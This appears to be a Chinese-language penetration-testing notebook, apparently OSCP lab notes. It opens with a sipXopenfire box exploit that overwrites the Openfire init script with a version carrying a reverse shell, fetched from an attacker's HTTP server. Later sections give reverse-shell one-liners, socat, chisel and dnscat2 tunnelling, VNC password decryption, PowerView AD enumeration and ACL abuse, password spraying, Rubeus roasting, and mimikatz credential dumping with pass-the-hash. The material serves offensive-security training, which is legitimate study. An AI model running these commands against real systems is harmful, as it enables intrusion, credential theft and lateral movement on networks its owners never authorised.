找到了管理员密码就可以构造exp了原理就是他用了一个操作用来覆盖/etc/init.d/openfire 当重启sipXopenfire的时候会重新加载配置文件就会调用里面的sh 导致RCE 有一行有反弹shell的命令记得改ip/port

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214


#!/bin/sh
#
# openfire Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \
# XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora based
# systems.
#

#####
# Begin setup work
#####

# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0

# Check that we are root ... so non-root users stop here.
if [ "`id -u`" != 0 ]; then
echo $0 must be run as root
exit 1
fi

su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"

# Get config.
[ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire
if [ -f "/etc/init.d/functions" ]; then
FUNCTIONS_FOUND=true
. /etc/init.d/functions
fi

# If openfire user is not set in sysconfig, set to daemon.
[ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon"

# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
[ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid"

# -----------------------------------------------------------------

# If a openfire home variable has not been specified, try to determine it.
if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then
if [ -d "/usr/share/openfire" ]; then
OPENFIRE_HOME="/usr/share/openfire"
elif [ -d "/usr/local/openfire" ]; then
OPENFIRE_HOME="/usr/local/openfire"
elif [ -d "/opt/openfire" ]; then
OPENFIRE_HOME="/opt/openfire"
else
echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
echo "Please specify the Openfire installation location as variable OPENFIRE_HOME"
echo "in /etc/sysconfig/openfire."
exit 1
fi
fi

# If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs.
[ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs"

# Attempt to locate java installation.
if [ -z "$JAVA_HOME" ]; then
if [ -d "${OPENFIRE_HOME}/jre" ]; then
JAVA_HOME="${OPENFIRE_HOME}/jre"
elif [ -d "/etc/alternatives/jre" ]; then
JAVA_HOME="/etc/alternatives/jre"
else
jdks=`ls -r1d /usr/java/j*`
for jdk in $jdks; do
if [ -f "${jdk}/bin/java" ]; then
JAVA_HOME="$jdk"
break
fi
done
fi
fi
JAVACMD="${JAVA_HOME}/bin/java"

if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then
echo "Error: JAVA_HOME is not defined correctly."
echo " Can not sure execute $JAVACMD."
exit 1
fi

# Prepare location of openfire libraries
OPENFIRE_LIB="${OPENFIRE_HOME}/lib"

# Prepare openfire command line
OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}"

# Prepare local java class path
if [ -z "$LOCALCLASSPATH" ]; then
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar"
else
LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}"
fi

# Export any necessary variables
export JAVA_HOME JAVACMD

# Lastly, prepare the full command that we are going to run.
OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\""

#####
# End setup work
#####

start() {
OLD_PWD=`pwd`
cd $OPENFIRE_LOGDIR

PID=$(findPID)
if [ -n "$PID" ]; then
echo "Openfire is already running."
RETVAL=1
return
fi

# Start daemons.
echo -n "Starting openfire: "

rm -f nohup.out
su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER
RETVAL=$?

echo

[ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire

sleep 1 # allows prompt to return
cd $OLD_PWD
}

stop() {
# Stop daemons.
echo -n "Shutting down openfire: "

PID=$(findPID)
if [ -n "$PID" ]; then
if [ -n "$FUNCTIONS_FOUND" ]; then
echo $PID > $OPENFIRE_PIDFILE
# delay copied from restart
killproc -p $OPENFIRE_PIDFILE -d 10
rm -f $OPENFIRE_PIDFILE
else
kill $PID
fi
else
echo "Openfire is not running."
fi

RETVAL=$?
echo

[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire
}

restart() {
stop
sleep 10 # give it a few moments to shut down
start
}

condrestart() {
[ -e "/var/lock/subsys/openfire" ] && restart
return 0
}

status() {
PID=$(findPID)
if [ -n "$PID" ]; then
echo "openfire is running"
RETVAL=0
else
echo "openfire is not running"
RETVAL=1
fi
}

findPID() {
echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'`
}

# Handle how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
condrestart)
condrestart
;;
reload)
restart
;;
status)
status
;;
*)
echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
RETVAL=1
esac

exit $RETVAL

保存这个文件在本地比如openfire.txt 接下来重写/etc/init.d/openfire文件

@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy

开一个http服务就行

然后在聊天框输入上面的命令就能下载成功并覆盖openfire文件

那么最后就只差重启服务了讲一下我的路这里包括那个博客也没有将在哪全靠摸索记得按照上面的exp监听好端口

算是非常详细的教程了 discord里面有些人都说这是一个有趣的box 我也觉得是这样的当然是在打完之后才会觉得有趣在重启之后等一段时间就会收到root的shell了

80.tcpdump

1

tcpdump -i any udp -w capture.pcap

81.bsd

1
2


目录传统上用于存放临时用户或访客用户的主目录
/usr/guest/

82.windows命令行

#权限

1
2
3
4
5
6
7
8


首先获取文件所有权：
takeown /f "C:\Users\k.smith\.ssh\id_rsa"

修改文件权限以获得完全控制：
icacls "C:\Users\k.smith\.ssh\id_rsa" /grant Administrators:F

强制修改权限：
cacls "C:\Users\k.smith\.ssh\id_rsa" /E /P Administrators:F

83.socat

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


使用更详细的监听命令：

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT

或者尝试记录通信内容：

bashCopysocat -v UNIX-LISTEN:/tmp/s,fork "SYSTEM:tee /tmp/socat.log"

也可以尝试与它交互：

bashCopy# 监听并显示所有收到的数据（十六进制格式）
socat -x UNIX-LISTEN:/tmp/s,fork STDOUT

将本地的端口代理出来
# 在目标机器上将本地的8888端口 转移到0.0.0.0的33333上
socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888

# 反向搭建隧道
# 在攻击机器上:
socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost
# 在攻击机器上:
socat TCP:攻击机IP:33333 TCP:127.0.0.1:8888

84.VNC密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


https://www.cnblogs.com/fczlm/p/17759610.html

VNC密码
配置路径：c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini，解密工具：https://github.com/jeroennijhof/vncpwd

TightVNC
TightVNC的加密后密码存在注册表里内，需要管理员权限

reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort

解密工具：https://github.com/jeroennijhof/vncpwd

RealVNC
ealVNC的加密后密码存在注册表里内，需要管理员权限。

reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password
解密工具：https://github.com/jeroennijhof/vncpwd

首先创建一个包含原始十六进制的文件：

bashCopy# 使用 xxd 创建二进制文件
echo "BFE825DE515A335BE3" | xxd -r -p > vnc.txt
# 然后尝试解密
./vncpwd vnc.txt

或者尝试使用 MSF 的方法：
msfconsole
irb
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt("BFE825DE515A335BE3", fixedkey)

或者尝试另一个版本的 vncpwd：
bashCopygit clone https://github.com/gitdurandal/vncpwd.git
cd vncpwd
make
./vncpwd BFE825DE515A335BE3

vncviewer 192.168.214.220:5900
# 输入密码：R3S3+rcH

85.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


服务端监听（攻击机）

# 服务端基本语法
./chisel server --reverse -p 8000

客户端连接（靶机）
# 基本连接
./chisel client 攻击机IP:8000 R:本地监听端口:目标IP:目标端口

常用命令示例：
反向代理单个端口
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:8001:目标IP:目标端口

SOCKS代理
# 服务端
./chisel server --reverse -p 8000
# 客户端
./chisel client 攻击机IP:8000 R:socks

86.echo的一些性质

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


# echo如果写的是双引号 会导致#!/bin/bash无法写入
# '单引号没问题

echo '#!/bin/bash' > 1.sh
echo "#!/bin/bash\n" > __fs.sh

# 需要转义需要加-e
echo '#!/bin/bash' > __fs.sh
echo -e "check_filesystems() {\nbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" > __fs.sh

echo '#!/bin/bash' > 1.sh
echo -e "check_filesystems() {\n\tbash -c 'exec bash -i >& /dev/tcp/192.168.45.184/80 <&1'\n}" >> 1.sh

87.dnscat(dns隧道)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


# 第一步：在Kali攻击机上
# 启动dnscat2服务器端
dnscat2-server feline.corp # feline.corp是我们自己指定的域名,随意命名即可

# 第二步：在目标机器上
# 上传dnscat_exercise_client到目标机器
# 执行客户端连接到我们的服务器
./dnscat_exercise_client feline.corp # 使用相同的域名
# 一般上面在公网适合 不过目前一般都是内网 所以指定dns服务器到我们的kali就行
# 在目标机器上:
# 使用--dns参数指定服务器IP和端口
./dnscat --dns server=<kali机器的IP>,port=53

# 或者更完整的命令:
./dnscat --dns server=<kali机器的IP>,port=53 --secret=<密钥值>

# 第三步：在Kali的dnscat2服务器端操作
# 查看连接状态
dnscat2> windows

# 切换到会话
dnscat2> window -i 1

# 设置端口转发
command (目标机器名) 1> listen 0.0.0.0:4455 192.168.176.7:445

88.windows域内详细信息收集

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


LDAP本地搜索
PowerView
教程 https://powersploit.readthedocs.io/en/latest/Recon/

# 导入
Import-Module .\PowerView.ps1

# 域的基本信息
PS C:\Tools> Get-NetDomain

Forest : corp.com
DomainControllers : {DC1.corp.com}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC1.corp.com
RidRoleOwner : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name : corp.com

# Get-NetUser获取域中所有用户的列表
PS C:\Tools> Get-NetUser

logoncount : 113
iscriticalsystemobject : True
description : Built-in account for administering the computer/domain
distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass : {top, person, organizationalPerson, user}
lastlogontimestamp : 9/13/2022 1:03:47 AM
name : Administrator
objectsid : S-1-5-21-1987370270-658905905-1781884369-500
samaccountname : Administrator
admincount : 1
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
cn : Administrator
whenchanged : 9/13/2022 8:03:47 AM
instancetype : 4
usncreated : 8196
objectguid : e5591000-080d-44c4-89c8-b06574a14d85
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com
dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}
memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise
 Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}
lastlogon : 9/14/2022 2:37:15 AM
...

# 输出表明cn属性保存了用户的用户名。让我们将输出通过管道传输到select中并选择cn属性
PS C:\Tools> Get-NetUser | select cn

cn
--
Administrator
Guest
krbtgt
dave
stephanie
jeff
jeffadmin
iis_service
pete
jen

# 取出其他属性
Get-NetUser | select cn,pwdlastset,lastlogon

# 类似地，我们可以使用Get-NetGroup来枚举组
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins
Enterprise Key Admins
DnsAdmins
DnsUpdateProxy
Sales Department
Management Department
Development Department
Debug

# Get-NetGroup调查销售部门并将输出导入到select member
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


# 获得更多信息

# Get-NetComputer PowerView 命令来枚举域中的计算机对象
Get-NetComputer

# 筛选 这个方法可以获得所有域内主机的主机名和系统版本
Get-NetComputer | select operatingsystem,dnshostname

# 以stephanie身份运行(挺重要的 在实战中)
PS C:\> Find-LocalAdminAccess

# 底层实际在做的事:
# 1. 尝试连接机器A的SCM -> 失败(没权限)
# 2. 尝试连接机器B的SCM -> 失败(没权限)
# 3. 尝试连接client74的SCM -> 成功!(说明stephanie是client74的本地管理员)
# 4. 继续尝试其他机器...

# 最终输出
client74.corp.com # 表示对这台机器有管理员权限

# 查找域内主机的任何的已经登录用户 但是需要的权限很多
# 正常就如下 权限不够 需要当前用户能访问目标机器且为管理员才行
# 或者目标机器上对SrvsvcSessionInfo注册表项的访问权限
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

# 在上面的结果中 实际上对client74有管理员权限 所以应该找这个client74
Get-NetSession -ComputerName client74

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


# 上面提到了正常来说需要的权限更多 太麻烦了 下面这个不会
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools 可以去官网上下载套件
# 原理就是基于远程注册表服务来查询
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
 <unknown time> CORP\jeff
Unable to query resource logons

# 当我们查到有一个不同的用户登陆了上去 并且呢 我们有他的管理员权限
# 那么主要操作就是解析lsass

1
2
3
4
5
6
7


# 域内SPN枚举
setspn -L iis_service

# 导入PowerView
# 对服务账户进行信息收集
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160


# 域内枚举对象权限
# 理论 下面是权限列表
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

GenericAll（完全控制）：
最高级别的权限
对对象有完全的控制权
可以做任何操作：修改属性、重设密码、添加到组等
实际例子：如果对用户有GenericAll权限，可以直接重置其密码

GenericWrite（写入权限）：
能修改对象的大部分属性
不能修改敏感属性（如密码）
例子：可以修改用户的scriptPath属性来实现代码执行

WriteOwner（修改所有者）：
可以更改对象的所有者
修改为自己后就能获得完全控制
例子：把组的所有者改为自己，然后就能控制这个组

WriteDACL（修改访问控制）：
可以修改对象的访问控制列表
能添加/删除权限
例子：给自己添加GenericAll权限

AllExtendedRights（扩展权限）：
包括密码重置等特殊操作权限
不包括常规的属性修改权限
例子：可以重置用户密码

ForceChangePassword（强制修改密码）：
专门用于修改密码的权限
不需要知道原密码
例子：直接重置目标用户的密码

Self (Self-Membership)（自我成员身份）：
可以将自己添加到组中
只能添加自己
例子：把自己加入到高权限组

# 这里有官方的
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks

简单的利用方法
GenericAll权限利用：
powershellCopy# 如果对用户UserA有GenericAll权限
net user UserA NewPass123! /domain # 直接改密码

GenericWrite权限利用：
powershellCopy# 修改用户的脚本路径实现代码执行
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"

WriteOwner权限利用：
powershellCopy# 先改所有者为自己
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# 然后就可以进一步操作了

WriteDACL权限利用：
powershellCopy# 给自己添加完整权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All

ForceChangePassword权限利用：
powershellCopy# 直接改密码
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Self (Self-Membership)权限利用：

powershellCopy# 把自己加入组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'

# 上面是用法 下面是查询信息 然后根据现有信息来做提权渗透
# 查看当前用户哪些ACE适用于他
PS C:\Tools> Get-ObjectAcl -Identity stephanie

...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

# 比如案例里面 我们当前是S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553对我们有ReadProperty权限
# 然后我们还得查查这个SID是谁
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# 这表明SecurityIdentifier对ObjectSID有什么权限

# 下面有一个案例 主要是查询谁对"Management Department"组有完全控制权限
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins

# 上面可以看到stephanie也就是我们当前用户对这个组有完全控制权限
# 意味着我可以把自己或者其他用户加到这个组里面 然后再根据这个组的权限 干一些事情
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.
# 上面把当前用户加入了进去 然后查询一下权限看看是否存在
PS C:\Tools> Get-NetGroup "Management Department" | select member

member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.

# 查看组权限
Get-ObjectAcl -Identity "Management Department"

# 验证一下这些东西 然后在删除就行了
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.

我们可以再次使用 PowerView 来验证jen是该组的唯一成员：
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


依然导入 PowerView

PS C:\Tools> Find-DomainShare

Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com

可以看到大量的smb我们可以访问的目录 缺点就是没写是否能read和write
# 然后就是经典的SYSVOL查看xml文件
# 这里它提供了一个特别方便的命令 一键就行没那么其他的麻烦事
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# 其次就是去找共享里的东西 看看有哪些非默认的东西 比如
docshare

1
2
3
4


C:\Tools\Spray-Passwords.ps1
# 它会自己去识别域用户 然后爆破 支持单密码或者字典
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin

89.Rubeus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 这个我在oscp的靶场运行一次 失败一次 完全无法运行 但是还是记录一下吧 实际上挺好用的
# 传到目标机器
# 一键进行AS-REP Roasting 然后hashcat就行了
.\Rubeus.exe asreproast /nowrap

# 一键找到服务账户的票据 其实和GetUserSPNs一样
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# 生成票据的时候记得看目标服务的SPN
setspn -L username

90.AD域横向(OSCP中一些非常好的思路)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
 msv :
 [00000003] Primary
 * Username : jen
 * Domain : CORP
 * NTLM : 369def79d8372408bf6e93364cc93075
 * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
 * DPAPI : ed6686fedb60840cd49b5286a7c08fa4
 tspkg :
 wdigest :
 * Username : jen
 * Domain : CORP
 * Password : (null)
 kerberos :
 * Username : jen
 * Domain : CORP.COM
 * Password : (null)
 ssp :
 credman :
...

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
 | PID 8716
 | TID 8348
 | LSA Process is now R/W
 | LUID 0 ; 16534348 (00000000:00fc4b4c)
 \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
 \_ kerberos - data copy @ 000001F3D5D366C8
 \_ des_cbc_md4 -> null
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ *Password replace @ 000001F3D5C63B68 (32) -> null

PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae

Cached Tickets: (0)

上面的操作都是新开了一个shell PTH了 但是没有任何票据
# 下面的操作会生成一个krbtgt和cifs的票据 这个时候我就已经利用HTLM获得了Kerberos票据
net use \\files04

PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
 Server: krbtgt/CORP.COM @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0x1 -> PRIMARY
 Kdc Called: DC1.corp.com

#1> Client: jen @ CORP.COM
 Server: cifs/files04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called: DC1.corp.com

# 因为有cifs的票据了 可以看到下面 我们可以直接PTH 相当于正常的PTH来说
# 这样能更好的隐藏自己把 就是把HTLMhash转成了Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04

传递票据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85


这个其实都学过 再记录一下吧

PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
 + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
